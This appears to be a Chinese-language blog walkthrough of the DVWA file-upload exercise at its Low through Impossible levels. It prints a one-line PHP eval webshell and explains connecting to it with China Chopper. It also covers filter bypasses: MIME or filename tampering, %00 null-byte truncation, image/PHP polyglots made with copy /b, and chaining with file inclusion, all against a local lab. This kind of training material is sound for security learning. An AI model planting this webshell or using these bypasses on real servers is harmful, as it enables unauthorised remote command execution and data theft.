一句話木馬
<?php
@eval($_POST['key']);
?>
/*eval(
phpcode)
eval() 函式把字串按照 PHP 代碼來計算,
該字串必須是合法的 PHP 代碼,且必須以分號結尾,*/
通常是由于對上傳檔案的型別、內容沒有進行嚴格的過濾、檢查,使得攻擊者可以通過上傳木馬獲取服務器的webshell權限,因此檔案上傳漏洞帶來的危害常常是毀滅性的,Apache、Tomcat、Nginx等都曝出過檔案上傳漏洞,
Low
basename(path,suffix)
函式回傳路徑中的檔案名部分,如果可選引數suffix為空,則回傳的檔案名包含后綴名,反之不包含后綴名,
我們看到服務器對上傳的檔案型別、內容或是檔案大小都沒有做任何的檢查、過濾,存在明顯的檔案上傳漏洞,生成上傳路徑后,服務器會檢查是否上傳成功并回傳相應提示資訊,
這段代碼的核心就是驗證是否有接收檔案($_POST[‘Upload’])
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
DVWA_WEB_PAGE_TO_ROOT=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA
$target_path=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA/hackable/uploads/
因此最終你上傳的檔案的最終路徑為:
$target_path=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA\hackable\uploads/123.jpg
123.jpg就是你要上傳的目標檔案,
漏洞利用
檔案上傳漏洞的利用條件:
1.能夠成功上傳木馬檔案
2.上傳檔案必須能夠被執行
3.上傳檔案的路徑必須可知
上傳一句話木馬

上傳成功,并回傳上傳路徑

打開中國菜刀,右鍵添加,

(這個url想了一會兒,兩個../回傳上級,回到了127.0.0.1/dvwa/)

然后菜刀就會通過向服務器發送包含key引數的post請求,在服務器上執行任意命令,獲取webshell權限,可以下載、修改服務器的所有檔案,

還可以打開服務器的虛擬終端,
Medium
Medium級別的代碼對上傳檔案的型別、大小做了限制,要求檔案型別必須是jpeg或者png,大小不能超過100000B(約為97.6KB),
漏洞利用
1.組合拳(檔案包含+檔案上傳)
嘗試修改檔案名為hack.png,成功,

啟用中國菜刀,不幸的是,雖然成功上傳了檔案,但是并不能成功獲取webshell權限,在菜刀上無論進行什么操作都會回傳如下資訊,

中國菜刀的原理是向上傳檔案發送包含key引數的post請求,通過控制key引數來執行不同的命令,而這里服務器將木馬檔案決議成了圖片檔案,因此向其發送post請求時,服務器只會回傳這個“圖片”檔案,并不會執行相應命令,
那么如何讓服務器將其決議為php檔案呢?可以借助Medium級別的檔案包含漏洞來獲取webshell權限,打開中國菜刀,右鍵添加,在地址欄中輸入
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/dvwa/hackable/uploads/hack.png
我不知道為什么連不上?!但是檔案包含+檔案上傳組合拳的思路很值得學習,
2.抓包修改檔案型別type
上傳hack.png檔案,抓包,

可以看到檔案型別為image/png,嘗試修改filename為hack.php,成功,菜刀獲取到webshell,
3.%00截斷繞過規則
在php版本小于5.3.4的服務器中,當Magic_quote_gpc選項為off時,我們可以在檔案名中使用%00進行截斷,可以把上傳檔案命名為hack.php%00.jpg, 因為 后綴是合法的.jpg格式,所以可以正常上傳,
方法一:
在php<5.3.4中,處理字串的函式認為0x00是終止符,那么我們可以利用 00截斷 漏洞來上傳我們的一句話木馬,網站上傳函式處理1.php%00.jpg時,首先后綴名是合法的jpg格式,可以上傳,在保存檔案時,使用burpsuite進行包攔截,找到上傳的路徑,把檔案名改為 1.php[空格].jpg ,十六進制查看,空格的十六進制代碼為20,將其修改為 00,后端在判斷檔案后綴名的時候遇到%00字符丟棄后面的jpg,檔案后綴最終保存的后綴 名為 1.php,然后我們就可以用我們的菜刀連接了,
方法二:%00在burp中url解碼
High
strrpos(string,find,start)
函式回傳字串find在另一字串string中最后一次出現的位置,如果沒有找到字串則回傳false,可選引數start規定在何處開始搜索,
getimagesize(string filename)
函式會通過讀取檔案頭,回傳圖片的長、寬等資訊,如果沒有相關的圖片檔案頭,函式會報錯,
可以看到,High級別的代碼讀取檔案名中最后一個”.”后的字串,期望通過檔案名來限制檔案型別,因此要求上傳檔案名形式必須是”*.jpg”、”*.jpeg” 、”*.png”之一,同時,getimagesize函式更是限制了上傳檔案的檔案頭必須為圖像型別,
漏洞利用
發現上傳不了,因為僅僅后綴是圖片格式的還不行,檔案內容必須還得是圖片格式的,
用copy /b 2.jpg + hack.php test.jpg

上傳test.jpg成功,但是jpg后綴菜刀不能直接連接,必須要讓他php決議,
可以利用DVWA的檔案包含漏洞,讓我們的圖片格式的一句話木馬以php格式運行,
url:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA\hackable\uploads/test.jpg

驗證:用記事本或winhex打開,底部發現有一句話木馬,
不知道為什么,火狐可以打開url,谷歌瀏覽器ERROR: File not found!,Cknife和中國菜刀都連接不上,也是找不到檔案,
Impossible
對上傳檔案進行了重命名(md5),加入Anti-CSRF token防護CSRF攻擊,同時對檔案的內容作了嚴格的檢查,導致攻擊者無法上傳含有惡意腳本的檔案,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/21027.html
標籤:其他
上一篇:nmap 查看內網存活主機
下一篇:物理機burp抓虛擬機包